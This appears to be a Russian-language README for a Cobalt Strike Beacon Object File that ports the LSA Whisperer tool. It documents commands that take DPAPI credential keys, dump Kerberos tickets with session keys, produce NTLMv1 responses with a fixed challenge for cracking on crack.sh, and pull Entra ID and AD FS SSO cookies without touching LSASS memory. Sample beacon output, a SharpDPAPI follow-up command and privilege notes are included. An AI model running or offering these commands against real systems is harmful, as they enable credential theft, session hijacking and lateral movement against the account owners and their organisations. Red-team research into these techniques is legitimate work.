
Beacon Object File (BOF), который напрямую взаимодействует с пакетами аутентификации Windows через интерфейс доверенного/недоверенного клиента LSA, не затрагивая память процесса LSASS.

Порт Cobalt Strike Beacon Object File (BOF) инструмента LSA Whisperer — инструмента, который напрямую общается с пакетами аутентификации Windows через интерфейс доверенного/недоверенного клиента LSA, не затрагивая память процесса LSASS, даже если включены PPL и Credential Guard.
LSA Whisperer от Evan McBroom (SpecterOps) показал, что можно восстанавливать ключи учетных данных DPAPI, извлекать облачные токены SSO и взаимодействовать с Kerberos — и всё это через легитимные вызовы API LsaCallAuthenticationPackage. Никакого чтения памяти, внедрения процессов или дескрипторов LSASS.
Этот проект переносит эти возможности в C2 в виде BOF для использования в рамках red team мероприятий. Он никогда не открывает дескриптор процесса lsass, и все вызовы выполняются через LsaCallAuthenticationPackage (официальный клиентский API для общения с lsass). PPL на LSASS вообще не имеет значения. PPL защищает процесс LSASS от открытия/чтения/внедрения.
| Команда | Описание |
|---|---|
lsa-credkey [LUID] | Восстановить ключ учетных данных DPAPI. Работает с Credential Guard. |
lsa-strongcredkey [LUID] | Восстановить усиленный ключ учетных данных DPAPI (Win10+). |
lsa-ntlmv1 [LUID] [challenge] | Сгенерировать ответ NTLMv1 с выбранным challenge. По умолчанию challenge 1122334455667788 совместим с радужными таблицами crack.sh. |

| Команда | Описание |
|---|---|
lsa-klist [LUID] | Список кэшированных билетов Kerberos. |
lsa-dump [LUID] | Дамп всех билетов в виде base64-блобов .kirbi с ключами сессии. |
lsa-purge [LUID] [server] | Очистить билеты. Поддерживает выборочную очистку по имени сервера. |

| Команда | Описание |
|---|---|
lsa-ssocookie [LUID] | Извлечь cookie SSO Entra ID (Azure AD) через плагин AAD. |
LUID: 0 или опустите для текущей сессии. Шестнадцатеричное значение (например, 0x3e7) для указания конкретной сессии входа. Для обращения к другим сессиям требуется SYSTEM.
beacon> lsa-credkey 0x21d57
[*] MSV1_0 GetCredentialKey
[+] SUCCESS - DPAPI Credential Keys recovered!
[+] CredSize: 0x28 (40 bytes)
[*] Local CredKey (SHA OWF): <20-byte key>
[*] Domain CredKey (NT OWF): <16 or 20-byte key>
Используйте восстановленный ключ с SharpDPAPI:
SharpDPAPI.exe masterkeys /credkey:<key_hex> /target:<masterkey_path>
beacon> lsa-ntlmv1 0x21d57
[*] MSV1_0 Lm20GetChallengeResponse (NTLMv1 Generation)
[+] NTLMv1 Response generated!
[*] Hashcat (mode 5500):
DOMAIN\user::HOSTNAME::NTResponse:1122334455667788
Отправьте ответ на crack.sh для мгновенного восстановления NT-хеша с использованием challenge по умолчанию.
beacon> lsa-ssocookie 0x21d57
[+] SSO Cookie received!
[*] Cookie: ESTSAUTH=<token>
lsa-whisperer-bof/
├── lsa-whisperer.cna # Aggressor script (load this)
├── Makefile
├── include/
│ ├── bofdefs.h # BOF API declarations + DFR imports
│ └── lsa_structs.h # All LSA/MSV1_0/Kerberos/CloudAP structs
├── src/
│ ├── common/
│ │ └── lsa_common.c # Shared LSA init, helpers, output formatting
│ ├── msv1_0/
│ │ └── msv1_0_bof.c # MSV1_0 commands
│ ├── kerberos/
│ │ └── kerberos_bof.c # Kerberos commands
│ └── cloudap/
│ └── cloudap_bof.c # CloudAP/AAD commands
└── build/ # Compiled BOFs (after make)
Каждый модуль компилируется в независимый BOF. Общий код включается во время компиляции (стандартный шаблон BOF) — без общих библиотек или зависимостей времени выполнения.
| Контекст | Возможность |
|---|---|
| Текущий пользователь (без привилегий) | lsa-klist, lsa-ssocookie, lsa-cloudinfo для своей сессии |
SYSTEM (SeTcbPrivilege) | Все команды, нацеленные на любую сессию входа по LUID |
Перечислите доступные LUID с помощью logonpasswords или klist, чтобы найти целевые сессии.
lsa-credkey и lsa-strongcredkey работают через Credential Guard. lsa-ntlmv1 блокируется им.1122334455667788 позволяет бесплатно взламывать с помощью радужных таблиц через crack.sh. Пользовательские challenge работают, но требуют стандартного перебора.lsa-purge с фильтром сервера удаляет только соответствующие билеты — полезно для целенаправленного злоупотребления Kerberos без нарушения сессии пользователя.Этот проект является портом BOF инструмента LSA Whisperer от Evan McBroom (@EvanMcBroom) из SpecterOps. Все основные исследования — недокументированные сообщения протокола MSV1_0, интерфейс вызова плагина CloudAP/AAD и определения структур, которые делают это возможным — его работа.
Ключевые ссылки:
lsa-devicessocookie [LUID] | Извлечь cookie SSO устройства. |
lsa-enterprisesso [LUID] | Извлечь корпоративный cookie SSO AD FS. |
lsa-cloudinfo [LUID] | Запросить информацию о облачном провайдере, статус TGT, статус DPAPI. |